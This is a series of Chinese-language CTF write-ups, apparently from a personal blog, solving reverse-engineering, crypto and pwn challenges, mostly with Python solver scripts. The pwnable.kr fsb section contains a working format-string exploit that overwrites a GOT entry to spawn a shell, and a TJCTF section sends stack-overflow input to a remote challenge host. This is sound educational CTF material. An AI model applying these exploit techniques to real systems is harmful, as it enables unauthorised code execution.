最近在搞小学期的项目，没空写wp，这题是上周搞出来的，这里简单记录一下，可能有些细节忘了。。。
==>题目地址<==

0x00 简单分析

程序是64位ELF，先拖进IDA看下逻辑。

main函数代码如下

可以看到a2[1]实际上就是argv[1]，在程序中也就是我们输入的flag。将``a2[1]复制给dest后，经过三轮加密，与s2`进行明文比较。那么接下来分析三轮加密具体做了什么。

0x01 函数sub_860

看代码发现在开头有一串字符ABCDEFG......，并且是每三个字符变换成四个字符，猜测是base64。

用IDA动态调试验证一下(关于如何用IDA动态调试ELF)。

如下图，在函数sub_860执行之后，v6即第一轮加密的结果，并且其存在寄存器rax里。

查看rax的值如下

我输入的flag为123456789，其base64加密结果如下

1
2
3

>>> import base64
>>> base64.b64encode("123456789")
'MTIzNDU2Nzg5'

可以看到与程序第一轮加密结果相同，于是函数sub_860即base64加密。

0x02 函数sub_F59

方法一：

同样，继续调试，可以看到第二轮加密结果赋给了v7，而v7的内容存在了寄存器rax里，查看rax值如下。

经验丰富的赛棍(比如说我m4x师傅)会直接看出这是rot13加密。

方法二：

但我没看出来233，我的解决办法是看这个函数的伪代码，发现只是一个简单的替换加密，那么直接逐位爆破即可。

0x03 函数sub_BE7

这个函数是题目里最复杂的加密，接下来逐行分析。

首先分析如下代码，v1表示上一轮加密结果的长度，其实从v34 = malloc(4 * v1 / 3 + 1)就可以猜出这轮加密也是明文每三个字符变换得到密文的四个加密字符，但还多了一个字节，这个字节非常关键。

1 2	38 ：v1 = strlen(a1); 39：v34 = malloc(4 * v1 / 3 + 1);

接着往下会看到for ( i = v1; i > 45; i -= 45 )，如果v1小于45不执行这个循环，由于我们不知道v1应该是多少，于是跳过这个循环往下看。

如下图，如果没执行上面的循环，v26即v34即密文的第一位，i即v1 ，下面代码的含义就是将v1经过一个算式得到一个新的值放在密文的第一位，也就是说密文的第一位表示了v1（第二轮加密的密文）的长度。

从最后strcmp可以跟踪到密文的内容为@25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3T，第一位为@，值为64，逆推可以得到第二轮的密文长度为32。

知道了长度之后用z3即可爆破出第二轮的密文，然后就爆破第二轮的算法再解base64即可。

0x04 脚本

由于第二轮密文的长度为32，不是3的倍数，在最后一次三个字符加密成四个字符时密文的第四个字符由于找不到明文的第三个字符，默认为32，即空格，，这也是为什么密文的最后一位是空格，并且爆破时最后一次无结果。根据flag格式就直接猜出是’}‘，不用过于纠结。

第三轮的爆破我分别用z3和直接三重循环跑了一下，发现用z3只需0.3s，暴力循环要1.36s。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
import base64
from string import printable
from z3 import *

cipher = "25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3T \x00"
print len(cipher)

def decode_level1(s):
    if len(s)%4 != 0:
        return base64.b64decode(s[:len(s)-len(s)%4])

def decode_level2(s):

    s1 = ''
    for i in s:
        j = ord(i)
        for k in range(256):
            l = 0
            if (k <= 0x40 or k > 0x5a):
                if (k <= 0x60 or k > 0x7a):
                    l = k
                else:
                    l = (k-0x54)%26 + 0x61 
            else:
                l = (k-0x34)%26 + 0x41 
            if l == j:
                s1 += chr(k)
                break

#print len(s),len(s1)
    return s1 

def decode_level3(cipher):
    
    ss = ""
    
    for i in range(11):
        
        s = Solver()
        a1,a2,a3 = [ BitVec('a'+str(j),16) for j in range(1,4) ]
        for j in range(1,4):
            s.add( And( eval('a'+str(j)) > 0, eval('a'+str(j)) < 256 ) )

        s.add( (a1>>2) + 32 == ord(cipher[4*i]) )
        s.add( (( ((16*a1)&0x30) + 32 ) | (a2 >> 4)) == ord(cipher[4*i+1]) )
        s.add( ((((4*a2)&0x3c) +32) | (a3 >> 6) ) == ord(cipher[4*i+2]) )
        s.add( (a3&0x3f) +32 == ord(cipher[4*i+3]) )
        
#print s.check()
        if s.check() == sat:

#print s.model()
            
            ss += chr(s.model()[a1].as_long())
            ss += chr(s.model()[a2].as_long())
            ss += chr(s.model()[a3].as_long())
#print ss

#print ss 
    return ss 

def decode_level30(cipher):

    ss = ""
    for i in range(11):
        flag = 0
        for a1 in printable:
            for b1 in printable:
                for c1 in printable:
                    a,b,c = ord(a1),ord(b1),ord(c1)
                    if (a>>2) + 32 == ord(cipher[4*i]) and (( ((16*a)&0x30) + 32 ) | (b >> 4)) == ord(cipher[4*i+1]) and ((((4*b)&0x3c) +32) | (c >> 6) ) == ord(cipher[4*i+2]) and (c&0x3f) +32 == ord(cipher[4*i+3]):
                        ss += chr(a)+chr(b)+chr(c)
                        flag = 1
                        break
                if flag:
                  break
            if flag:
                break
    
    print ss
    return ss
if __name__ == "__main__":
    
    flag2 = decode_level30(cipher)
#flag2 = decode_level30(cipher)
    flag1 = decode_level2(flag2)
    print flag1
    flag = decode_level1(flag1)

    print flag

noxCTF_2018-re_GuessTheString-wp

2018-09-08T12:31:20.000Z

==>题目地址<==

0x00 简单分析

一道简单re，但是很坑啊。

用IDA直接看代码，逻辑如下。

0x01填坑

a1的前三位可以直接通过两个等式爆破出可能的结果。

第四位的check函数如下

乍一看需要a1[3] > a1[2]且a1[2]*a1[2] == a1[3]*a1[3]，这不扯淡吗。。。后来仔细想想a1[2]和a1[3]都是byte类型，所以实际上只需(a1[2]*a1[2])%256 == (a1[3]*a1[3])%256即可。

然后第5,6,7位可以直接爆破出确定结果。

第8位的可能结果有[48,52,56]。

第9位有一个未知数，我的想法是先通过前面所有函数的check，动态调试看这个未知数的值，发现是12，于是第9位可以通过第8位算出，第10位可以通过第9位算出。

第10位我一开始拿flag的时候没搞懂HIBYTE怎么用，是直接爆破的，因为前面的10位都差不多确定了，爆破就行。

0x02 解题脚本

写wp的时候还是用gdb调了一下，发现HIBYTE对于一个16bit的数取得是高8位。。这样就懂了。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
from pwn import *
context.log_level = 'debug'
a0 = [
'%^Jv',
'/JTl',
'/JTt',
'J/Tl',
'J/Tt',
'^%Jv'
]
a4 = [
'C=&'
]

def is_Prime(n):
    if n <= 2:
        return 1
    for i in range(2,n):
        if n%i == 0:
            return 0
    return 1

     
def get_0123():

    for i in range(33,127):
        for j in range(33,127):
            for k in range(33,127):
                if not(i*j == 3478 and (j^i)^k == 49):
                    continue
                else:
                    for l in range(k+1,127):
                        if (l**2)%256 == (k**2)%256:
                            s = chr(i)+chr(j)+chr(k)+chr(l)
                            print s

def get_456():
    for i in range(33,127):
        for j in range(33,127):
            if (j-42) > 0 and is_Prime(i) and is_Prime(j) and is_Prime(j-42) and i^j == 126:
                s = chr(i)+chr(j)+chr(2*(j-42))
                print s

if __name__ == "__main__":
    
#get_0123()
#get_456()
    for i in a0:
        for j in a4:
            for k in [48,52,56]:
                a7 = k
                #*(_BYTE *)(a3 + 8) == (a1 ^ *(_BYTE *)(a3 + 7)); a1 = 0x12 by debug
                a8 = a7^0x12 
                a9 = 2*a8
                a100 =  (a9+1)*(a9)/2 
                #burte a10
                for l in range(33,127):
                    s = i+j+chr(a7)+chr(a8)+chr(a9)+chr(l)
                    print s
                
                    io = process('./GuessTheString')
                    io.recvline()
                    io.sendline(s)
                    io.recvline()
                    io.close()

0x03 Reference

对LOWORD, HIWORD, LOBYTE, HIBYTE的理解： https://blog.csdn.net/huang_xw/article/details/8738610

hackme-inndy-crypto-mutilayer

2018-08-19T12:29:49.000Z

Points: 150
Solves: 6

一道多重加密的crypto，很好玩。

题目源码如下

为了能在本地跑起来我做了一点改动

import base64
import binascii
import collections
import hashlib
import os
import random
import string

from Crypto.Util import number

p = number.getPrime(1024)
q = number.getPrime(1024)
n = p * q
e = number.getPrime(24)
print('RSA(n=0x%x, e=0x%x)' % (n, e))

def rsa_encrypt(x):
    v = number.bytes_to_long(x)
    return pow(v, e, n)

def xor(a, b):
    return bytes(i ^ j for i, j in zip(a, b))

flag = open('flag', 'rb').read()

assert flag.startswith(b'FLAG{') and flag.endswith(b'}\n')
print(hashlib.sha256(flag).hexdigest())

def layer1(data):
    data = data.decode('ascii')

    s = string.ascii_uppercase
    t = list(s)
    random.shuffle(t)
    t = ''.join(t)

    print(collections.Counter(data))

    return data.translate(str.maketrans(s, t))

def layer2(data):
    return bytes([ord(b) * 17 % 251 for b in data])

def layer3(data):
    output = []
    key = number.bytes_to_long(os.urandom(128))

    for i in data:
        key = (key * 0xc8763 + 9487) % 0x10000000000000000
        output.append((i ^ key) & 0xff)
    
    return bytes(output)

def layer4(data):
    iv = os.urandom(256)
    output = iv

    hexencoded = binascii.hexlify(data)
    length_target = (len(hexencoded) + 3) // 4
    padded = hexencoded.ljust(length_target * 4, b'f')

    for i in range(0, len(padded), 4):
        r = rsa_encrypt(padded[i:i+4])
        block = binascii.unhexlify('%.512x' % r)
        output += xor(output[-256:], block)

    return base64.b64encode(output)

flag = layer1(flag) #tihuan
print("layer1 -> {}".format(flag))
flag = layer2(flag)
print("layer2 -> {}".format(flag))

flag = layer3(flag)
print("layer3 -> {}".format(flag))

flag = layer4(flag)
print("layer4 -> {}".format(flag))

print(flag.decode('ascii'))

layer4

这个函数的流程大致是先生成一个长度为256的随机字符串output，padded就是layer3生成的密文。

循环的功能是将padded的每四个字符进行rsa加密得到block，再将output的后256位字符与block进行异或，并将结果接在output后面。

我们可以在encrypted文件中得到最终output的base64编码，将其解码之后每256位分成一组，可以得到41组长度为256的字符串。按逆向的思想，以第二组为例，它是循环中第一次rsa加密的密文block和初始output进行异或的结果，由于异或的特性，我们把第二组和第一组再进行异或便可以得到第一次rsa加密的密文block。以此类推，最终我们可以得到全部rsa加密的密文。

接下来就是如何解密这个rsa，从文件encrypted中我们可以得到n和e，但由于n很大，无法分解，所以无法正向解出。仔细分析可以知道，每次rsa加密的明文长度为4，并且均是16进制的串，例如"ffff"，范围不大，直接爆破即可。

layer3

这个函数一开始看的时候恐怖的一批，一个长度为128的字符串转为十进制数后当做key来与明文data异或。。。

但后来仔细想想，不管key多大，和i异或之后都要模上0xff，那key不就相当于是在0-256之间吗。其实质是因为异或的过程中只有key的低八位在进行运算，其高位和0异或不变，之后模0xff就相当于其高位根本没起作用。

下面这张图验证了我的想法

那么key的范围确定在0-256之间了，怎样才算正确的key呢？接着往layer2看

layer2

这个函数的加密也很有意思，源码如下

1 2	def layer2(data): return bytes([ord(b) * 17 % 251 for b in data])

解决方法如下

n = 251
e = 17
d = invert(e,n) = 192
cipher = plaintext * e (mod n)
plaintext = cipher * d(mod n)

原理(反证法 by唐老板)

证：m = c*d (mod n)
由于c = m * e (mod n)
==> m = { (plain e) mod n } d mod n
==> m = med mod n
由于d*e ≡ 1(mod n)
故m = c*d (mod n) 得证

举个例子

那么layer3和layer2都有解决办法了，直接一起解得到layer1的密文，通过观察结果是否均为可见字符判断layer3的key是否正确。

layer1

替换加密，直接在线网站解一波

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
#https://quipqiup.com/

import base64
import binascii
import collections
import hashlib
import os
import random
import string
import re
from libnum import s2n,n2s
import gmpy2
from Crypto.Util import number

cipher = open('encrypted','rb').read()
n=0x80dd2dec6684d43bd8f2115c88717386b2053bdb554a12d52840380af48088b7f1f71c3d3840ef4615af318bbe261d2d2d90616c0d2dcb6414e05c706f2b6d700ed98128048a2b79f57d2c6476add369ec96fb0fed936506d9aee4da5d36aaa97f117b082924c0638923e4367f250cc6cd23918702d98c5359bbb6bad2bef741c65362ad40355fd2edb35248256413d0ee576e7a351f17b9a5a3a7eebbbb2b22f27c342ef6dcaf1396085a105cf5e8b9bbf80e002053347fd9db6e83dc63599b1e1e5a81f7f2e4e2473bc2d14d040c9c6e6f62b9027853c7550a10df49c3a786962c9e9d5b95551a95077d0bd354b88ef31c5625e21edf98f721504f73e1b867
e=0xcf98d5

flag_counter = {' ': 14, 'O': 6, 'A': 5, 'U': 4, 'I': 4, 'T': 4, 'N': 3, 'D': 3, 'E': 3, 'L': 3, 'H': 3, 'Y': 3, 'R': 3, 'G': 2, 'C': 2, 'F': 2, 'W': 2, '.': 1, '}': 1, 'B': 1, 'V': 1, 'Q': 1, 'P': 1, 'X': 1, 'M': 1, '\n': 1, '{': 1, 'K': 1, 'J': 1, 'S': 1, 'Z': 1}

flag = "FLAG{"

def xor(a, b):
    return s2n(''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)]))

def rsa_encrypt(m):

    return pow(s2n(m),e,n)

def burp_m(c):
    
    zidian = "0123456789abcdef"

    for i in zidian:
        for j in zidian:
            for k in zidian:
                for l in zidian:
                    m1 = i+j+k+l
                    if rsa_encrypt(m1) == c:
                        return m1
    return 'false'

def decode_layer4():
    
    cipher_layer4 = ""
    for i,j in enumerate(cipher):
        if cipher[i:i+4] == "eH/V":
            cipher_layer4 = cipher[i:]
            break
    #print cipher_layer4
    cipher_layer4 = base64.b64decode(cipher_layer4)
    print type(cipher_layer4),len(cipher_layer4)
    
    cipher4 = []
    for i in range(41):
        c = ''
        for j in range(256):
            c += cipher_layer4[i*256+j]
        cipher4.append(c)
    #print len(cipher4),cipher4
    
    cipher3 = ""
    for i in range(1,41):
        a = xor(cipher4[i-1],cipher4[i])
        print "Try {} -> {}".format(i,a)
        b = burp_m(a)
        if b != 'false':
            print b
            cipher3 += b
    print cipher3

def layer3_and_layer2(text,key):

    cipher_3= ""
    for i in text:
        key = (key * 0xc8763 + 9487)&0xff
        cipher_3 += chr(ord(i)^key)

    cipher_2 = ""
    key_layer2 = gmpy2.invert(17,251)
    print "key_layer2 -> {}".format(key_layer2)
    for i in cipher_3:
        cipher_2 += chr( (ord(i)*192) % 251 )
    return cipher_2 

def decode_layer3_layer2(cipher3):

    cipher1 = []
    '''
num = 0
flag_str = ""
print len(flag_counter)
for i,j in flag_counter.items():
num += j
flag_str += i
flag_str = "".join((lambda x:(x.sort(),x)[1])(list(flag_str)))

print "flag_len -> {}".format(num)
'''

    for i in range(256):
        temp = layer3_and_layer2(cipher3,i)
        cipher1.append(temp)
    print cipher1

if __name__ == "__main__":
    
    print rsa_encrypt('1234')
#decode_layer4()
    print "layer4 clear!"
    cipher3 = binascii.unhexlify("58cf2de2cf8e72d8c28b1925e6962d51a3630af38a84923462d397d60665995fa1313e4444890cba0e201a43fa9ee2877c115e64a4e9116362fd4c34c68fc50c6edca071d795ee295ece1d3fd46efd0d")
    decode_layer3_layer2(cipher3)

安恒杯-7月月赛-Reverse-Youngter-drive

2018-08-18T12:28:00.000Z

我先吐槽一句，这题真是巨坑==

Step1: 脱UPX

首先file一下，发现有upx壳，这是第一关。

二话不说upx -d Youngter-drive.exe脱掉。

Step2: 修复F5

然后拖进IDA看源码，主函数如下

然后这点一点那点一点发现StartAddress里有猫腻，跟进去发现关键函数sub_411940无法F5，提示positive sp value has been found

出现这个报错的原因是堆栈不平衡，我们可以通过修改sp value使堆栈平衡。

IDA中Options->General选中Stack pointer可以查看堆栈指针

可以看到，就是因为411A04处堆栈指针为-4导致无法F5，Alt+K可以修改此处的sp value

修改之后如下图，此时堆栈平衡，可以F5。

然后就可以看到关键函数sub_411940的源码

Step3: 逆向解密

这个函数相当于一个加密，逻辑很简单，先判断是否是字母，如果不是直接终止程序；之后判断如果是大写字母则进行替换，小写字母进行另一种替换。

加密完成之后和字符串off_418004进行明文比较，相等即正确。

看到这里我兴奋的一批，直接写脚本跑一发，结果发现交了贼多次都不对。。。

后来注意到main函数写了一个多线程(双线程)，然而自己也还不会写多线程，于是疯狂百度函数的作用，才有了上面第二张图主函数的简单注释。

仔细分析会注意到，线程hObject是进行加密，线程v1就是减个下标dword_418008。而dword_418008初始值为0x1d即29，这相当于如果dword_418008是奇数，进行加密，如果是偶数，密文和明文相同。

之后还有个坑，下标从29开始的话意味着输入长度有30，而在函数sub_411880进行check时只比较前29个字符，相等即正确。那么我们只需还原明文的前29位，加上一个任意字母即可。

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

off_418000 = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm\0"

off_418004 = "TOiZiZtOrYaToUwPnToBsOaOapsyS"
print len(off_418004),len(off_418000)

def decode(a):

    flag = ""

    for i in range(len(a)):
        if i %2 == 0:
            flag += a[i]
            continue
        for j,k in enumerate(off_418000):
            if a[i] == k:
                print i,j
                if chr(j+38).isupper():
                    flag += chr(j+38)
                else:
                    flag += chr(j+96)
                break 
    
    return flag

def encode(flag):
    
    cipher = ""
    for j,i in enumerate(flag):
        if j %2 == 0:
            cipher += i
            continue
        if ord(i) < ord('a') or ord(i) > ord('z'):
            cipher += off_418000[ord(i)-38]
        else:
            cipher += off_418000[ord(i)-96]
    return cipher 

if __name__ == "__main__":
    flag = off_418004
    flag = decode(flag)
    print flag
    cipher = encode(flag)

    print cipher == off_418004

Flag: ThisisthreadofwindowshahaIsES加一个任意字母
如：ThisisthreadofwindowshahaIsESE

References

Linux-Install-upx: sudo apt-get install upx
ida-sp-value-error: https://stackoverflow.com/questions/10165511/ida-positive-sp-value-has-been-found-error

Pwnable-Kr-Rookiss-fsb

2018-08-15T12:25:04.000Z

题面

Isn’t FSB almost obsolete in computer security?
Anyway, have fun with it :)
ssh fsb@pwnable.kr -p2222 (pw:guest)
On Aug 15,2018

大致分析

明显的格式化字符串漏洞类型的题目，由于buf不在栈上，我们需要借助栈上的其他数据如ebp来作为跳板。

类似的题目还有HITCON-Training-lab9

题目流程大致是经过四次read和printf的fsb利用后，check输入的pw和程序随机出来的key是否相等。

我一开始想的是把key的bss段地址放到栈上，然后通过任意地址读得到key，但后来发现程序生成的key太大了，而pw的输入限制长度为10，所以不可能通过正常流程拿到权限。

那后来就覆盖sleep的got表的真实地址为execve('/bin/sh')，过程正好用了四次fsb。

泄露栈的esp，方便后面定位栈上其他的地址
泄露main的ebp，由于main的ebp和栈上的偏移不固定，所以需要单独泄露一次
将main的ebp覆盖为sleep的got表地址
将sleep的got表地址覆盖为execve('/bin/sh')

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
from sys import *
#context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]

if argv[1] == 'l':
    io = process('./fsb')
else:
    io = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')

def DEBUG():

    gdb.attach(io,"b *0x08048608\nc")

def leak_esp():

    payload = "+%14$x+"
    io.sendline(payload)
    io.recvuntil('+')
    esp = int(io.recvuntil('+')[:-1],16)-0x50

    return esp

def leak_ebp_main():

    payload = "+%18$x+"
    io.sendline(payload)
    io.recvuntil('+')
    ebp_main = int(io.recvuntil('+')[:-1],16)

    return ebp_main

def ebp_main_to_got():

    got_addr = 0x0804A008 

    payload = "%{}c%18$n".format(got_addr)
    io.sendline(payload)

def sleep_to_flag(offset):

    flag_addr = 0x080486AB
    payload = "%{}c%{}$hn".format(flag_addr&0xffff,offset)
    io.sendline(payload)

if __name__ == '__main__':

    esp = leak_esp()
    print hex(esp)
    pause()

    ebp_main = leak_ebp_main()
    print hex(ebp_main)
    pause()

    ebp_main_to_got()
    pause()

    offset = (ebp_main-esp)/4
    sleep_to_flag(offset)
    pause()

    io.interactive()

References:

https://blog.csdn.net/SmalOSnail/article/details/53705774

TJCTF-2018-bin-Writeup

2018-08-13T12:23:43.000Z

Unsolved: pwn-Online-Banking

Reverse

Validator(points: 30)

首先file看一下

1
2

▶ file flagcheck 
flagcheck: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=89bdc886ab26b531450aa6ecb741b66a060b7605, not stripped

用ida看伪代码会发现是明文比较，如下图。

但是把其中的一些字符给赋了其他的值，直接看看不出什么(其实也可以直接手动替换2333，根据s1,v5,v6,v7的相对偏移就可以进行替换)，于是尝试ida调试&gdb调试。

The fisrt way: IDA调试

关于如何在IDA中调试elf详见：https://blog.csdn.net/abc_670/article/details/80066817

首先在Debugger->Process options里设置argv参数，长度为43

在if ( strlen(argv[1]) == 43 )处下断点，开始调试

当替换完成后，由于s1处于ebp-0x38的位置，于是在ebp-0x38处add watch，其实下断点也不是最直接的方式，这里就提一下。

下断点: Debugger->Watchs->add watch

可以看到ebp = 0xffb1c158，那么s1在栈上地址为ebp-0x38 = 0xffb1c120

在stack view的表里我们可以直接的看到ebp-0x38处的值，如下图

但是这样还不够直观，我们可以在FFB1C120处右键->Follow in hex dump

然后点View->Open subviews->Hex dump，即可看到FFB1C120对应的值的字符形式

至此，flag到手:-)

The second way: GDB调试

关键命令如下

gdb flagcheck
start aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
b *0x080485AB
c

pwndbg> x/10 $ebp-0x38
0xffffd3f0:"tjctf{ju57_c4ll"...
0xffffd3ff:"_m3_35r3v3r_60d"...
0xffffd40e:"_fr0m_n0w_0n}"
0xffffd41c:""
0xffffd41d:"\256\300\217\334\323\372\367@\324\377\377"
0xffffd429:""
0xffffd42a:""
0xffffd42b:""
0xffffd42c:"v\"\341\367\002"
0xffffd432:""

即可拿到flag:-)

相对IDA的dynamic debugging，我用gdb更为顺手:-(
但ida的可视化确实很方便，并且还有很多功能待学习

Python-Reversing(points: 40)

先放源码

import numpy as np

flag = 'redacted'

np.random.seed(12345)
arr = np.array([ord(c) for c in flag])
other = np.random.randint(1,5,(len(flag)))
arr = np.multiply(arr,other)

b = [x for x in arr]
lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]
c = [b[i]^lmao[i] for i,j in enumerate(b)]
print(''.join(bin(x)[2:].zfill(8) for x in c))

# original_output was 1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101

大致的加密过程如下

b = flag * other
c = b ^ lmao

这里的other是一个由不大于4的数组成的随机数组，但随机数的种子给了，相当于other已知，而lmao也是已知的，直接逆就可以。

但是有一个问题，original_output这串二进制串长度为202，并不能被8整除，我当时就很疑惑，以为我下载的文件是错的。。。

后来想明白了，由于第一步加密中flag直接与other相乘，导致b数组的值可能大于255，超出8位二进制串能表示的最大值，于是在zfill的时候长度大于8，就像下面这样。

那么我们怎么判断是哪个位置的值大于255呢，这里可以通过当为8位二进制串时，和lmao异或之后模other是否为0，如果不为0，就再添加一位二进制数。

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

import numpy as np

flag = 'abcdefghijklmnopqrstuvwxy'

np.random.seed(12345)
#arr = np.array([ord(c) for c in flag])
#print arr 
other = np.random.randint(1,5,25)
print "[+]other: {}".format(other)
#arr = np.multiply(arr,other)
#print arr
#b = [x for x in arr]

lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]

#c = [b[i]^lmao[i] for i,j in enumerate(b)]

#print(''.join(bin(x)[2:].zfill(8) for x in c))

output = '1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101'
#output1 = [304, 189, 161, 133, 7, 169,291]

s = ''
output1 = []
sum,num = 0,0
v = 0
flag = 0

for i,j in enumerate(output):

    if sum%8 == 0 and flag == 1:
        
        v  = eval('0b'+s)
        if (v^lmao[num])%other[num] != 0:
            output1.append( eval('0b'+s+j) )
            s = ''
            
        else:
            output1.append( v )
            sum += 1
            s = j
        num += 1
        flag = 0
        
    else:
        s+= j
        sum += 1
        flag = 1

#print output1

print "[+]lmao: {}".format(lmao)
#context.log_level = 'debug'

mod = [(lmao[i]^output1[i])%other[i] for i in range(len(output1))]
print "[+]mod==0? {}".format(mod)
output2 = [ chr((lmao[i]^output1[i])/other[i]) for i in range(len(output1)) ]
 
print "[+]flag: {}".format(''.join(output2))
#output3 = [ ofor i in range(25) ]

Bad-Cipher(points: 50)

源码如下

message = "[REDACTED]"
key = ""

r,o,u,x,h=range,ord,chr,"".join,hex
def e(m,k):
 l=len(k);s=[m[i::l]for i in r(l)]
 for i in r(l):
  a,e=0,""
  for c in s[i]:
   a=o(c)^o(k[i])^(a>>2)
   e+=u(a)
  s[i]=e
 return x(h((1<<8)+o(f))[3:]for f in x(x(y)for y in zip(*s)))

print(e(message,key))

这道题其实就是个分组加密，下面通过一个例子解释一下

message = ‘123456789’
key = ‘abc’
s = [ ‘147’,’258’,’369’ ]
对于s[0]的第一个字符‘1’，a = o(‘1’)^o(‘a’)^(a>>2)，此时a的初始值为0，相当于s[0]的第一个加密结果== o(‘1’)^o(‘a’)，这很重要
之后进行相同操作
s_encode = [‘PAF’, ‘PCJ’, ‘PAJ’]
注意：返回的结果相当于’PPPACAFJJ’.encode(‘hex’)

Step1: 爆破key的长度

首先我们确定len(message)应该要整除len(key)，那么key可能是2 4 7 8 14 28

解题的关键在于flag格式为tjctf{}，相当于我们知道message的前6个字符，而分组加密中每组的第一个字符就是message的前几位，如果分组的长度正确，那么message[i]^cipher[i]的结果，即key，应该是可见字符，以此为标准爆破。

Step2: 爆破key的后两位

这里假设已经知道了key的长度为8，而我们可以通过message的固定格式知道key的前6位，那么最后两位直接爆破即可。

Exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

message = "[REDACTED]"
key = "123456"
c = '473c23192d4737025b3b2d34175f66421631250711461a7905342a3e365d08190215152f1f1e3d5c550c12521f55217e500a3714787b6554'.decode('hex')

key_len = [2,4,7,8]#14,28

r,o,u,x,h=range,ord,chr,"".join,hex

def e(m,k):
 l=len(k);s=[m[i::l]for i in r(l)]
#print s
 for i in r(l):
  a,e=0,""
  for c in s[i]:
   a=o(c)^o(k[i])^(a>>2)
   e+=u(a)
  s[i]=e
#print s
 return x(h((1<<8)+o(f))[3:]for f in x(x(y)for y in zip(*s)))

def d(c,key1,offset):

    flag = ''
                
    a = [ 0 for l in range(len(key1)) ]
    lenk = len(key1)
                    
    for k in range(len(c)):
                        
        if k%offset < lenk:
            flag += chr( key1[k%offset]^ord(c[k])^(a[k%offset]>>2) )
            a[k%offset] = ord(flag[k])^key1[k%offset]^(a[k%offset]>>2)
        else:
            flag += ' '
    #burp_len
    if len(key1) == 1 and flag.replace(' ','').isalnum():
        print "[*]You got the length. FLAG: {}".format(flag.replace(' ',''))
    #burp_flag
    if flag.replace('_','').replace('{','').replace('}','').isalnum():
        print "key1 = {} key2 = {} flag = {}".format(key1[6],key1[7],flag)
def burp_len():
    
    for i in [2,4,7,8,14,28]:
        
        #key[0] == ord('t')^0x47
        key = [ord('t')^0x47]
        print "[+]The key length is {} QAQ".format(i)
        d(c,key,i)

if __name__ == '__main__':

    burp_len()
    key_len = 8
    flag = 'tjctf{'
    for i in range(32,127):
        for j in range(32,127):
            
            key = [ ord(flag[k])^ord(c[k]) for k in r(len(flag)) ]
            key.append(i)
            key.append(j)
#print key
            assert len(key) == key_len
            d( c, key, key_len )
    
    key = [ chr(ord(flag[k])^ord(c[k])) for k in r(len(flag)) ]
    flag = 'tjctf{m4ybe_Wr1t3ing_mY_3ncRypT10N_MY5elf_W4Snt_v_sm4R7}'
    key.append(chr(90))
    key.append(chr(54))
    
    if e(flag,x(key)) == c.encode('hex'):
        print "Right!!!"

#print(e(message,key))

Bricked-Binary(points: 80)

这题算是经典的elf逆向，难度不大，直接放出脚本，idc脚本也在里面

Exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

u = [4,7,5,8,12,10,6,2,13,1,0,14,9,11,3,15]

v = [129,205,10,115,179,59,50,182,110,124,49,87,209,197,21,58,146,180,226,81,174,66,85,65,225,112,48,26,2,132,162,231,185,77,60,163,11,178,43,171,70,126,36,156,133,111,228,196,95,206,79,1,130,253,108,172,223,100,12,161,227,158,93,187,254,211,41,150,199,243,252,101,170,138,90,245,183,56,165,141,216,142,57,7,222,213,17,128,229,137,53,255,221,166,31,35,13,192,147,200,103,23,104,24,139,98,204,157,218,86,102,198,127,230,134,224,34,194,15,27,246,45,99,51,145,113,89,235,169,210,131,191,61,106,8,249,167,64,0,232,82,190,250,78,38,118,207,84,125,25,6,248,208,116,40,5,63,160,30,193,69,73,212,175,3,155,47,238,39,154,164,151,72,74,217,55,71,173,68,202,239,215,184,219,240,159,88,83,234,42,122,54,135,140,181,114,136,177,9,241,22,62,105,20,236,37,188,237,186,189,44,201,220,19,244,117,29,75,195,52,16,107,119,152,94,92,153,143,18,148,203,46,76,233,32,247,67,96,251,109,28,120,14,176,214,80,121,123,97,149,168,4,91,242,144,33]
#print len(u),len(v)
'''
idc_export_v
auto addr = 0x0804A040;
auto addr1 = 0x0804A43C;
auto i,x;
Message("\n");
for(i=0;addr<=addr1;i++)
{
    x = Byte(addr);
    addr =addr + 4;
    Message("%d,",x);
}
'''
output = '22c15d5f23238a8fff8d299f8e5a1c62'
out_flag = map(ord,output.decode('hex'))
print out_flag

flag = ''
for i in range(len(out_flag)):
    for j in range(256):
        if v[j]^u[len(out_flag)-i-1] == out_flag[i]:
            flag += chr(j)
            break
print flag,len(flag)

Pwn

Math-Whiz(points: 20)

先看看开了什么保护，发现只有栈溢出可以利用:-)

▶ checksec register
[*] '/2018TJCTF/pwn-Math-Whiz20/register'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

用ida看下伪代码，关键在于v43是否为0

那么通过栈溢出覆盖v43即可

最初脚本如下，暴力的一批

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
io = remote('problem1.tjctf.org', 8001)

for i in range(7):
    io.sendlineafter(': ','a'*100)
io.interactive()

